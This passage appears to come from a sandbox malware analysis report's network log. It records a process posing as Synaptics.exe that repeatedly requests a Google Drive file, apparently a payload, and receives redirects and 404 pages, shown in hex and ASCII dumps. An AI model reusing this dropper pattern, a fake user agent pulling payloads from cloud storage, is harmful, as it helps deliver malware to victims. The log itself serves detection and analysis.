2024-12-30 10:36:10 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	49821	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:10 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	49822	142.250.186.97	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:10 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	49824	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:10 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	49827	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:11 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:12 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:11 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-AY8UOf9hZGnyHFmWpnPN2A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	49826	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:11 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:12 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:12 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-PI21KC414hHon-lweBmDxA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	49830	142.250.186.97	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:12 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:13 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4BwraRNqiugcSFNF06yOTy7hO2eUWRwqsyF0udZMujQCWuw-C_oZSGQp6QyE2ZKydM Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:13 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-52wsimOwzsfLXqV6pyq5mQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 10:36:13 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-12-30 10:36:13 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 41 36 6b 32 69 67 6a 6a 73 6e 51 5f 47 6d 6b 41 30 35 37 66 79 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="A6k2igjjsnQ_GmkA057fyA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-12-30 10:36:13 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	49829	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:12 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:13 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:12 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-8l85YUjlFG3nUy5RS07rug' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	49833	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:12 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:13 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:13 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-pQECPv_bvPZ8iQDLlZEa0Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	49832	142.250.186.97	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:12 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:13 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC78Eg_lebVJmNqTSN2Hp2f97VQwEnQ1yWLx4yIIwGUyZJ90ztF7DZO_R1P-Eo6hh2G6 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:13 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-3PNiUUe4QZEUG1OWAadauQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 10:36:13 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-12-30 10:36:13 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 74 69 41 73 43 2d 45 7a 6e 5a 6b 76 47 6d 50 67 6d 45 61 41 58 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="tiAsC-EznZkvGmPgmEaAXw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-12-30 10:36:13 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	49835	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:13 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:14 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:14 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-f78HeLAwfwGR1uTu5AV0Vg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	49836	142.250.186.97	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:13 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:14 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5O3u_8ZOdKp7x1nJXtdfMiplaXFWiJxdpvSzn4neZy0S7znnRZctRxIrlsJE0sTf8K Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:14 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-QEzb38PhDBxuJuVM6hSlbA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 10:36:14 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-12-30 10:36:14 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 46 50 2d 45 69 4a 69 70 32 6e 6d 7a 6e 2d 69 5a 78 51 6f 31 76 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="FP-EiJip2nmzn-iZxQo1vQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 